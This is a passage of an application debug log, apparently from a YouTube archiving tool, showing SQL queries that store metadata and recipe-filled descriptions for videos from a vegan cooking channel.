35 to 40 minutes, until the rice is cooked. Using a fork turn over each meatball halfway through the cooking time to ensure even cooking.\n5. Remove from heat once cooked and serve over cooked pasta or with mashed potatoes or rice. Enjoy!\n\nVegan Baked Mac 'N Cheese\n1 batch of tofu bacon bits (recipe in this video here ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Creamy\u00A0Carbonara\u00A0Pasta\u00A0Recipe!\u00A0\u00A0)\n12 oz macaroni noodles (340g), cooked\n2 cups vegan cheddar cheese shreds\n½ cup soy milk, or any other unsweetened plant milk\n½ cup cashews soaking in 1¼ cup boiling water, soak for 30 minutes \ (truncated) 20:31:07.933 [debug] QUERY OK source="sources" db=0.6ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.935 [debug] QUERY OK source="media_items" db=2.4ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 00:00:00Z], 1] 20:31:07.938 [debug] QUERY OK source="media_items" db=1.1ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My 89-year-old grandma tries vegan meat and cheese for the first time! Will she love it? Will she hate it? Either way she's pretty cool for coming onto the channel so make sure you give her some love in the comments! We are trying out Violife's mature cheddar slices and Beyond Meat's ground beef \u202A@byndofficial\u202C . Have you tried these before? What do you think of the taste, texture?\n\nFULL RECIPE FOR PORCUPINE MEATBALLS in this video here! ➡️\n\u00A0\u00A0\u00A0•\u00A0Grandma's\u00A0100\u00A0Year\u00A0Old\u00A0Recipes\u00A0Made\u00A0VEGAN!...\u00A0\u00A0\n\nCheck out my full 'TASTE TESTS' playlist for more fun vegan food tastings! ➡️ \u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\nWhich is the BEST Vegan Cheese? ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Cheese\u00A0for\u00A0Grilled\u00A0Cheeses\u00A0...\u00A0\u00A0\nNotMilk vs. Next Milk Review ➡️ \u00A0\u00A0\u00A0•\u00A0NotMilk\u00A0vs.\u00A0NEXTMILK\u00A0In-Depth\u00A0Review\u00A0and\u00A0T...\u00A0\u00A0\nUltimate Vegan Ice Cream Review ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My GRANDMA tries vegan cheese and meat for the FIRST TIME!", "74d64733-d6b6-421a-b1fb-03a8426acd87", 1, [], false, "XbQ4kx_neyg", "https://www.youtube.com/watch?v=XbQ4kx_neyg", 249, "/downloads/downloads/alec/Steamy Vegan/2023-11-09 My GRANDMA tries vegan cheese and meat for the FIRST TIME!/My GRANDMA tries vegan cheese and meat for the FIRST TIME! [XbQ4kx_neyg].NA", false, false, false, 1, ~U[2023-11-09 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "My 89-year-old grandma tries vegan meat and cheese for the first time! Will she love it? Will she hate it? Either way she's pretty cool for coming onto the channel so make sure you give her some love in the comments! We are trying out Violife's mature cheddar slices and Beyond Meat's ground beef \u202A@byndofficial\u202C . Have you tried these before? What do you think of the taste, texture?\n\nFULL RECIPE FOR PORCUPINE MEATBALLS in this video here! ➡️\n\u00A0\u00A0\u00A0•\u00A0Grandma's\u00A0100\u00A0Year\u00A0Old\u00A0Recipes\u00A0Made\u00A0VEGAN!...\u00A0\u00A0\n\nCheck out my full 'TASTE TESTS' playlist for more fun vegan food tastings! ➡️ \u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\nWhich is the BEST Vegan Cheese? ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Cheese\u00A0for\u00A0Grilled\u00A0Cheeses\u00A0...\u00A0\u00A0\nNotMilk vs. Next Milk Review ➡️ \u00A0\u00A0\u00A0•\u00A0NotMilk\u00A0vs.\u00A0NEXTMILK\u00A0In-Depth\u00A0Review\u00A0and\u00A0T...\u00A0\u00A0\nUltimate Vegan Ice Cream Review ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My GRANDMA tries vegan cheese and meat for the FIRST TIME!", 1, nil, false, "XbQ4kx_neyg", "https://www.youtube.com/watch?v=XbQ4kx_neyg", "/downloads/downloads/alec/Steamy Vegan/2023-11-09 My GRANDMA tries vegan cheese and meat for the FIRST TIME!/My GRANDMA tries vegan cheese and meat for the FIRST TIME! [XbQ4kx_neyg].NA", false, ~U[2023-11-09 00:00:00Z]] 20:31:07.939 [debug] QUERY OK source="sources" db=1.2ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.941 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-07 00:00:00Z], 1] 20:31:07.944 [debug] QUERY OK source="media_items" db=2.3ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this 'what I eat in a day' video I'm showing you all the vegan meals and recipes that I made and enjoyed on Halloween! I had lots of fun also paying tribute to one of my fave movies growing up, Napoleon Dynamite! Most of the meals and recipes created in this video were inspired by the movie and what the characters ate. I had SO much fun playing dress up on Halloween and letting my inner teenage angst come and out play for the day 😆\n\nHave you ever seen Napoleon Dynamite? How many lines can you quote from this movie? Share your faves in a comment! (\"But my lips hurt REAL BAD!!\")\n\nWatch my full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nApple Cinnamon Oatmeal\n2 cups sprouted rolled oats (gluten-free)\n1 cup soy milk (or any other plant milk you like)\n3 tbsp ground flax seed\n3 cups water\npinch of salt\n1 tsp vanilla\n1 tsp cinnamon\n2 ambrosia apples, peeled and chopped (or use any other apple)\n1 tsp cinnamon\n2 tbsp maple syrup\n\n1. In a saucepan bring to a boil the water and plant milk, then add the oats, cinnamon, vanilla and salt and stir well to combine. \n2. Turn heat down to medium-low and cook until the oats are tender and creamy, stirring often, about 12 to 15 minutes.\n3. Meanwhile, add the apples, cinnamon and maple syrup to another small saucepan/skillet and cook covered on medium heat for about 12 minutes, until they are softened and have released lots of their juice. Cook uncovered for the remaining 3 minutes of cooktime.\n4. Serve the oatmeal with additional ground flaxseed or chia seeds, hemp hearts, the stewed apples and drizzle of nut butter. Enjoy!\n\nDang QuesaDILLAS\n1 large tortilla\nvegan cheese shreds\nblack beans, tofu, or soy curls\nhummus (my oil-free hummus recipe ➡️ https://steamyvegan.com/oil-free-hummus/)\nspinach or greens\n\n1. Warm the tortilla in the microwave for 20 seconds to make it pliable and soft,\n2. Add a layer of hummus, plus cheese, beans, greens and more vegan cheese and then fold in half.\n3. Cook on a hot skillet for 3 to 4 minutes on each side until the cheese has melted and the outside of the tortilla is golden and slightly crispy. Serve with vegan sour cream and salsa and enjoy!\n\nTater Tot Casserole\n1\u00A0small\u00A0onion,\u00A0finely chopped\n1 cup dried green lentils\n2½ cups veggie broth\n1\u00A0teaspoon\u00A0garlic powder OR 2 cloves fresh garlic, minced\n2\u00A0tablespoons vegan\u00A0Worcestershire sauce OR balsamic vinegar\n1 tsp dried parsley \n1 cup frozen corn\n1\u00A0cup\u00A0frozen peas\n1 cup chopped mushrooms\n1 additional cup veggie broth OR water\nsalt and pepper to taste\n\n2\u00A0tablespoons\u00A0cornstarch,\u00A0or arrowroot powder\n½ cup water\n1\u00A0cup\u00A0shredded vegan cheddar cheese\n24-38\u00A0ounces\u00A0frozen tater tots\n\n1. Preheat oven to 400℉. Lightly grease a large casserole dish (9x12) with oil.\n2. Heat 1 tbsp of oil or ¼ tsp water/broth in a large pot or skillet over medium heat. Add chopped onion and sauté until softened, 3 to 4 minutes.\n3. Add dried lentils and 2 cups veggie broth, bring to a boil and then reduce heat to simmer, cover and cook for 18-20 minutes until ‘al dente’. Once lentils are cooked, stir in garlic powder, Worcestershire sauce/balsamic vinegar, frozen peas and corn, mushrooms and additional veggie broth.\n4. In a small bowl or large measuring cup, mix cornstarch with ½ cup water, making sure no clumps remain at the bottom. Add the cornstarch-broth mixture into the pot and bring up to a simmer.\n5. Simmer for 5 minutes to thicken, stirring occasionally. Season with another ¼ tsp of salt and a ¼ tsp ground pepper. Taste and add additional seasoning as desired.\n6. Spread the lentil and vegetable mixture in the prepared casserole dish. Sprinkle with cheese then lay the tater tots in rows on the top.Bake until tater tots are crispy and golden brown, 20 to 25 minutes. Allow to sit for 5 minutes then serve. ENJOY!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Ate In a Day on HALLOWEEN! 👻", "c9f574a0-724d-4cc5-86a2-85e22f5163c0", 1, [], false, "QAoixngCOGs", "https://www.youtube.com/watch?v=QAoixngCOGs", 250, "/downloads/downloads/alec/Steamy Vegan/2023-11-07 VEGAN What I Ate In a Day on HALLOWEEN! 👻/VEGAN What I Ate In a Day on HALLOWEEN! 👻 [QAoixngCOGs].NA", false, false, false, 1, ~U[2023-11-07 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this 'what I eat in a day' video I'm showing you all the vegan meals and recipes that I made and enjoyed on Halloween! I had lots of fun also paying tribute to one of my fave movies growing up, Napoleon Dynamite! Most of the meals and recipes created in this video were inspired by the movie and what the characters ate. I had SO much fun playing dress up on Halloween and letting my inner teenage angst come and out play for the day 😆\n\nHave you ever seen Napoleon Dynamite? How many lines can you quote from this movie? Share your faves in a comment! (\"But my lips hurt REAL BAD!!\")\n\nWatch my full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nApple Cinnamon Oatmeal\n2 cups sprouted rolled oats (gluten-free)\n1 cup soy milk (or any other plant milk you like)\n3 tbsp ground flax seed\n3 cups water\npinch of salt\n1 tsp vanilla\n1 tsp cinnamon\n2 ambrosia apples, peeled and chopped (or use any other apple)\n1 tsp cinnamon\n2 tbsp maple syrup\n\n1. In a saucepan bring to a boil the water and plant milk, then add the oats, cinnamon, vanilla and salt and stir well to combine. \n2. Turn heat down to medium-low and cook until the oats are tender and creamy, stirring often, about 12 to 15 minutes.\n3. Meanwhile, add the apples, cinnamon and maple syrup to another small saucepan/skillet and cook covered on medium heat for about 12 minutes, until they are softened and have released lots of their juice. Cook uncovered for the remaining 3 minutes of cooktime.\n4. Serve the oatmeal with additional ground flaxseed or chia seeds, hemp hearts, the stewed apples and drizzle of nut butter. Enjoy!\n\nDang QuesaDILLAS\n1 large tortilla\nvegan cheese shreds\nblack beans, tofu, or soy curls\nhummus (my oil-free hummus recipe ➡️ https://steamyvegan.com/oil-free-hummus/)\nspinach or greens\n\n1. Warm the tortilla in the microwave for 20 seconds to make it pliable and soft,\n2. Add a layer of hummus, plus cheese, beans, greens and more vegan cheese and then fold in half.\n3. Cook on a hot skillet for 3 to 4 minutes on each side until the cheese has melted and the outside of the tortilla is golden and slightly crispy. Serve with vegan sour cream and salsa and enjoy!\n\nTater Tot Casserole\n1\u00A0small\u00A0onion,\u00A0finely chopped\n1 cup dried green lentils\n2½ cups veggie broth\n1\u00A0teaspoon\u00A0garlic powder OR 2 cloves fresh garlic, minced\n2\u00A0tablespoons vegan\u00A0Worcestershire sauce OR balsamic vinegar\n1 tsp dried parsley \n1 cup frozen (truncated) 20:31:07.947 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.950 [debug] QUERY OK source="media_items" db=2.9ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-03 00:00:00Z], 1] 20:31:07.952 [debug] QUERY OK source="media_items" db=1.2ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you grew up LOVING Nutella then you NEED to know how to make homemade vegan Nutella! A classic chocolate and hazelnut spread that is usually devoured by the spoonful, but also levels up desserts, baking, toast and so much more. Can't wait for you to try this!\nVegan, gluten-free, no palm oil, low sugar, keto-friendly\n\nStill got a sweet tooth? Check out my full 'SWEET TREATS' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nOR watch these videos below for more chocolatey inspiration! ⬇️\nVEGAN Chocolate Mouse Pie: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nPumpkin Spice Choc Chip Mini Scones: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nThe BEST Healthy Choc Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nHealthy Chocolate Ice Cream with SECRET Ingredient!: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Chocolate\u00A0Ice\u00A0Cream\u00A0with\u00A0a\u00A0SECRET!\u00A0(...\u00A0\u00A0\n\nRecipe for Vegan Nutella is on my blog! ➡️ https://steamyvegan.com/vegan-nutella/\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly", "223acd54-ef64-4b74-8630-d5965a707c61", 1, [], false, "R6B4zGBrzfk", "https://www.youtube.com/watch?v=R6B4zGBrzfk", 251, "/downloads/downloads/alec/Steamy Vegan/2023-11-03 Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly/Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly [R6B4zGBrzfk].NA", false, false, false, 1, ~U[2023-11-03 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "If you grew up LOVING Nutella then you NEED to know how to make homemade vegan Nutella! A classic chocolate and hazelnut spread that is usually devoured by the spoonful, but also levels up desserts, baking, toast and so much more. Can't wait for you to try this!\nVegan, gluten-free, no palm oil, low sugar, keto-friendly\n\nStill got a sweet tooth? Check out my full 'SWEET TREATS' playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nOR watch these videos below for more chocolatey inspiration! ⬇️\nVEGAN Chocolate Mouse Pie: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nPumpkin Spice Choc Chip Mini Scones: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nThe BEST Healthy Choc Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nHealthy Chocolate Ice Cream with SECRET Ingredient!: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Chocolate\u00A0Ice\u00A0Cream\u00A0with\u00A0a\u00A0SECRET!\u00A0(...\u00A0\u00A0\n\nRecipe for Vegan Nutella is on my blog! ➡️ https://steamyvegan.com/vegan-nutella/\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly", 1, nil, false, "R6B4zGBrzfk", "https://www.youtube.com/watch?v=R6B4zGBrzfk", "/downloads/downloads/alec/Steamy Vegan/2023-11-03 Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly/Make your own VEGAN Nutella! Low sugar, no dairy or palm oil, keto-friendly [R6B4zGBrzfk].NA", false, ~U[2023-11-03 00:00:00Z]] 20:31:07.953 [debug] QUERY OK source="sources" db=1.0ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.956 [debug] QUERY OK source="media_items" db=2.2ms idle=9.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-31 00:00:00Z], 1] 20:31:07.959 [debug] QUERY OK source="media_items" db=1.6ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This what I ate in a day as a vegan! I wanted to show a really realistic look at the kinds of vegan meals I make, including leftovers! I hope this inspires your everyday cooking and helps give you some ideas for easy vegan recipes.\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nRECIPES MENTIONED IN THIS VIDEO\n\nBreakfast: Tofu scramble breakfast wrap (recipe below)\nLunch: Leftover Mushroom & Artichoke pasta (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0COZY\u00A0Fall\u00A0Pasta\u00A0Recipes\u00A0\u00A0to\u00A0Warm\u00A0the\u00A0Soul\u00A0...\u00A0\u00A0 )\nDinner: a version of my Roasted Carrot, Beet &. Brussels Salad (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0 )\nDessert: Apple Crumble with nutty topping (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0🍎\u00A0Are\u00A0you\u00A0ready...\u00A0\u00A0 )\nSnack: Apple Cranberry Scones (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0 )\n\nTOFU SCRAMBLE RECIPE - serves 4 to 6, cut recipe in half if desired\n2 blocks extra-firm tofu (or 1 medium-firm, 1 extra-firm), not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n2 tsp garlic powder\n2 tsp turmeric powder\n1 tsp kala namak\n½ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n4 tbsp nutritional yeast\nvegan cheese shreds (optional)\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall Recipes!", "297c4652-407d-4ec3-98ef-e7c013804964", 1, [], false, "U3Pl3ug9w88", "https://www.youtube.com/watch?v=U3Pl3ug9w88", 252, "/downloads/downloads/alec/Steamy Vegan/2023-10-31 What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall Recipes!/What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall Recipes! [U3Pl3ug9w88].NA", false, false, false, 1, ~U[2023-10-31 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This what I ate in a day as a vegan! I wanted to show a really realistic look at the kinds of vegan meals I make, including leftovers! I hope this inspires your everyday cooking and helps give you some ideas for easy vegan recipes.\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nRECIPES MENTIONED IN THIS VIDEO\n\nBreakfast: Tofu scramble breakfast wrap (recipe below)\nLunch: Leftover Mushroom & Artichoke pasta (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0COZY\u00A0Fall\u00A0Pasta\u00A0Recipes\u00A0\u00A0to\u00A0Warm\u00A0the\u00A0Soul\u00A0...\u00A0\u00A0 )\nDinner: a version of my Roasted Carrot, Beet &. Brussels Salad (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0 )\nDessert: Apple Crumble with nutty topping (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0🍎\u00A0Are\u00A0you\u00A0ready...\u00A0\u00A0 )\nSnack: Apple Cranberry Scones (full recipe video here ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0 )\n\nTOFU SCRAMBLE RECIPE - serves 4 to 6, cut recipe in half if desired\n2 blocks extra-firm tofu (or 1 medium-firm, 1 extra-firm), not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n2 tsp garlic powder\n2 tsp turmeric powder\n1 tsp kala namak\n½ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n4 tbsp nutritional yeast\nvegan cheese shreds (optional)\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Ate on a Cozy Sunday | Vegan & Gluten-Free Fall 